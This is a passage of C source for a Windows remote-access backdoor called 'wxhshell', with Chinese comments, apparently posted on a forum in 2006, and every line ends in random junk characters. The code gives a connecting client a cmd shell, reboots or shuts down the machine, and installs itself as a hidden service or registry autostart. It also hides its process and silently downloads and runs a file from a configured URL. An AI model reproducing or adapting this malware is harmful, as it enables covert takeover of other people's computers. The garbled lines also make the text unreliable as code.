  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BxesoB  
  } LB^xdMXi  
  else { |q Pu*vR  
}`]Et99Q5  
    switch(cmd[0]) { lDZ~  
  l _zTpyOZ  
  // 帮助 Cw~fP[5XMF  
  case '?': { FPu$Nd&\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X5=I{eY}  
    break; wM! dz&  
  } NBA`@K~4  
  // 安装 Kr+#)S  
  case 'i': { d5n>2iO  
    if(Install()) }bnodb^.7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4TSkm`iR  
    else 8I0G%hD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ."ytBF  
    break; }+K=>.  
    } k{cPiY^  
  // 卸载 dyB@qh~H  
  case 'r': { i$CF*%+t  
    if(Uninstall()) br*PB]dU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jwheJ G  
    else \9]- (j6[H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); imyfki $B  
    break; _Zxo <}w}y  
    } >".@;  
  // 显示 wxhshell 所在路径 -cP1,>Ahv  
  case 'p': { 0+AMN-  
    char svExeFile[MAX_PATH]; N\Ab0mDOV.  
    strcpy(svExeFile,"\n\r"); z</^qy  
      strcat(svExeFile,ExeFile); 0R}hAK+| 4  
        send(wsh,svExeFile,strlen(svExeFile),0); FhQb9\g  
    break; ul!q)cPb{  
    } X#o;`QM  
  // 重启 _.SpU`>/f  
  case 'b': { [<nd+3E  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )-25?B  
    if(Boot(REBOOT)) `tl-] ^Y2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3!i{4/  
    else { {"db1Gbfg  
    closesocket(wsh); kA9k^uR/  
    ExitThread(0); $dug"[  
    } *T:jR  
    break; {d> 6*b  
    } cvYKZB  
  // 关机 :c(#03w*C  
  case 'd': { l0tFj>q"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l)V646-O,~  
    if(Boot(SHUTDOWN)) (*\y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LdnTdh?  
    else { @@=,bO  
    closesocket(wsh); TW=N+ye^1(  
    ExitThread(0); {,= hIXo>  
    } _WI~b  
    break; ZHCrKp  
    } iDYm4sY  
  // 获取shell M%s!qC+  
  case 's': { )/Oldyp  
    CmdShell(wsh); gl!ht@;>ak  
    closesocket(wsh); {~#d_!(  
    ExitThread(0); uxL3 8d]  
    break; 1yTw*vH F  
  } T#HF! GH]  
  // 退出 .`oKd@I*"  
  case 'x': { W!1 B~NH#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ii>#9>!F  
    CloseIt(wsh); }d@;]cps  
    break; S`vw<u4t  
    } He&A>bA)z  
  // 离开 V>ZDJW"G!  
  case 'q': { u@Bgyt7Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ](`:<>c  
    closesocket(wsh); AG"iS<u  
    WSACleanup(); pqe%tRH{  
    exit(1); FA;B :O@:'  
    break; JvS ~.g1  
        } KVoM\ttP  
  } AOx8OiqE:  
  } 'Y]<1M>.g  
n,{  
  // 提示信息 ${`q!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &?k`rF9  
} ){w!< Lb  
  } a&[>kO  
]NKz5[9D  
  return; EW/NH&{  
} ML%JT x0+Z  
jn oX%3d-  
// shell模块句柄 l I2UpfkBP  
int CmdShell(SOCKET sock) tR_DN  
{ !k#N] 9D3  
STARTUPINFO si; OOYdrv,  
ZeroMemory(&si,sizeof(si)); ,,-j5Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B0^:nYko  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A$?o3--#]G  
PROCESS_INFORMATION ProcessInfo; r$%,k*X^ k  
char cmdline[]="cmd"; _V` QvnT}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {(h!JeQ  
  return 0; @FN1o4&3  
} x(rl|o  
RI BB*  
// 自身启动模式 t`1~5#?Du(  
int StartFromService(void) M* dou_Q  
{ Qd}h:U^  
typedef struct '(8} <(%  
{ ryTtGx%a  
  DWORD ExitStatus; l{V(Y$xp3  
  DWORD PebBaseAddress; V_KHVul  
  DWORD AffinityMask; T? ,Q=.  
  DWORD BasePriority; Ub[UB%(T  
  ULONG UniqueProcessId; OO;I^`Yn  
  ULONG InheritedFromUniqueProcessId; |2I p*  
}   PROCESS_BASIC_INFORMATION; 4hUUQ;xj  
Nl{on"il  
PROCNTQSIP NtQueryInformationProcess; mHNqzdaa  
)F6p+i="  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C6d#+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -U@ycx|r  
UiZ1$d*  
  HANDLE             hProcess; ?y^ ix+ M  
  PROCESS_BASIC_INFORMATION pbi; IOl0=+p  
f1t?<=3Ek<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !KHbsOT?9  
  if(NULL == hInst ) return 0; 3GZrVhU?m  
M ED_#OS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a(x#6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T=fVD8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5=;'LWXCJ  
2F:X:f  
  if (!NtQueryInformationProcess) return 0; z{qn|#}  
Bc}e ??F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Sbj{)  
  if(!hProcess) return 0; :Y)G-:S+  
dkZ[~hEQG-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rtai?  
}$:ha>  
  CloseHandle(hProcess); EtDzmpJR>  
O! w&3 p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?$b*)<  
if(hProcess==NULL) return 0; 7[8d-Sf24{  
g]._J  
HMODULE hMod; 5 ~"m$/yE  
char procName[255]; P2 +^7x?  
unsigned long cbNeeded; xic&m5j m  
Q5;EQ .#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?<soX8_1  
i.+#a2   
  CloseHandle(hProcess); >  !WFY  
3 FLht L  
if(strstr(procName,"services")) return 1; // 以服务启动 2O`s'&.h  
;zi4W1  
  return 0; // 注册表启动 OP DRV\  
} "9;Ay@'B  
vFK(Dx  
// 主模块 SuA`F|7?P  
int StartWxhshell(LPSTR lpCmdLine) Gdlx0i  
{ r D|Bj(X8  
  SOCKET wsl; AaJz3oncJ  
BOOL val=TRUE; OWmI$_L  
  int port=0; $P Tl{  
  struct sockaddr_in door; =`wnng5m  
\Qz  
  if(wscfg.ws_autoins) Install(); s?&UFyYb,  
<2PO3w?Z  
port=atoi(lpCmdLine); C6:; T%  
ra{HlB{  
if(port<=0) port=wscfg.ws_port; - [7S.  
h>n<5{zqM  
  WSADATA data; xQ8?"K;iX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \eS-wO7%  
_({K6adb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mQ:5(]v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P L*kjrLu7  
  door.sin_family = AF_INET; wU5= '  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QBTjiaYGa'  
  door.sin_port = htons(port); Fpntd IU  
X6o iOs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ['@R]Si"!  
closesocket(wsl); C?PgC~y)  
return 1; +p &$`(  
} {I QCA-AI  
WSV% Oy3V  
  if(listen(wsl,2) == INVALID_SOCKET) { ~`VD}{[,B  
closesocket(wsl); =%d0MZD  
return 1; W sDFui  
} YXTd^M~@D  
  Wxhshell(wsl); [f-<M@id/  
  WSACleanup(); >^d+;~Q;  
U( "m}^  
return 0; EN~ha:9  
EP]OJ$6I  
} l1}HJmom  
o%?~9rf]]  
// 以NT服务方式启动 M\bea  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8f-B-e?k  
{ RQd5Q.  
DWORD   status = 0; ~@EBW3>~5  
  DWORD   specificError = 0xfffffff; Rs1JCP=d8  
"\x\P)j0>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2]-xmS>|b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `Z~\&r=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JJE0q5[  
  serviceStatus.dwWin32ExitCode     = 0; REKv&^FLN  
  serviceStatus.dwServiceSpecificExitCode = 0; aZYs?b>Gm  
  serviceStatus.dwCheckPoint       = 0; FLOSdMYdw  
  serviceStatus.dwWaitHint       = 0; T~-PT39E  
c!>",rce  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T\$r|  
  if (hServiceStatusHandle==0) return; oA $]%  
I=wA)Bli1p  
status = GetLastError(); DX@*lM  
  if (status!=NO_ERROR) K7gqF~5x~  
{ N+0`Jm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <!.Qn Y  
    serviceStatus.dwCheckPoint       = 0; 5SmgE2}  
    serviceStatus.dwWaitHint       = 0; 1N\-Ku  
    serviceStatus.dwWin32ExitCode     = status; 9N{"ob Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; *6 1G<I  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); agxR V  
    return; )l*6zn`z  
  } YNWAef4  
EXTQ:HSES  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O=w u0n  
  serviceStatus.dwCheckPoint       = 0; %^66(n)  
  serviceStatus.dwWaitHint       = 0; :TN^}RML  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p+d?k"WN?  
} k6W  [//  
ys$X!Ep  
// 处理NT服务事件,比如:启动、停止 <bxp/#6D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +UC-  
{ A]"IQ-  
switch(fdwControl) 1r;.r|  
{ <MoKTP-<  
case SERVICE_CONTROL_STOP: @mrGG F  
  serviceStatus.dwWin32ExitCode = 0; LzJNQd'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !)TO2?,^  
  serviceStatus.dwCheckPoint   = 0; ,mW-O!$3W  
  serviceStatus.dwWaitHint     = 0; Y'%k G5nF  
  { G/5]0]SO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m;"dLUb  
  } f1UGDC<p9  
  return; &nEQ `3~F  
case SERVICE_CONTROL_PAUSE: by%k*y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Cz1o@ rt  
  break; %O_Ed {G4t  
case SERVICE_CONTROL_CONTINUE: N8w@8|KM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w0N8a%  
  break; .|9o`mF7  
case SERVICE_CONTROL_INTERROGATE: !]z6?kUK  
  break; S`?cs^?  
}; gw);b)&mx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _f5n t:-  
} 8]-c4zK  
-?&s6XA%#  
// 标准应用程序主函数 5 NdIbC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iH""dtO  
{ BSib/)p   
0"to]=  
// 获取操作系统版本 nI6[y)j  
OsIsNt=GetOsVer(); *ioVLt,:R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j9Y'HU5"  
&DgJu.  
  // 从命令行安装 qC aM]Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); kan4P@XVS  
m6=Jp<  
  // 下载执行文件 =ADdfuKN  
if(wscfg.ws_downexe) { ^`XTs!.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k+FiW3-  
  WinExec(wscfg.ws_filenam,SW_HIDE); *yxn*B_xZ  
} %;{R o)03  
$9Yk]~  
if(!OsIsNt) { h16i]V  
// 如果时win9x,隐藏进程并且设置为注册表启动 $5n6C7  
HideProc(); G`" 9/FI7  
StartWxhshell(lpCmdLine); 96$qH{]Ap  
} #+,O  
else m=uW:~  
  if(StartFromService()) t*'U|K4L/  
  // 以服务方式启动  M} {'kK  
  StartServiceCtrlDispatcher(DispatchTable); 3\jcq@N  
else 2XN];,{  
  // 普通方式启动 R |h(SXa  
  StartWxhshell(lpCmdLine); BE]PM nI  
X}s}E ;v9  
return 0; Y +9OP  
}
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只看该作者 1 发表于: 2006-10-10
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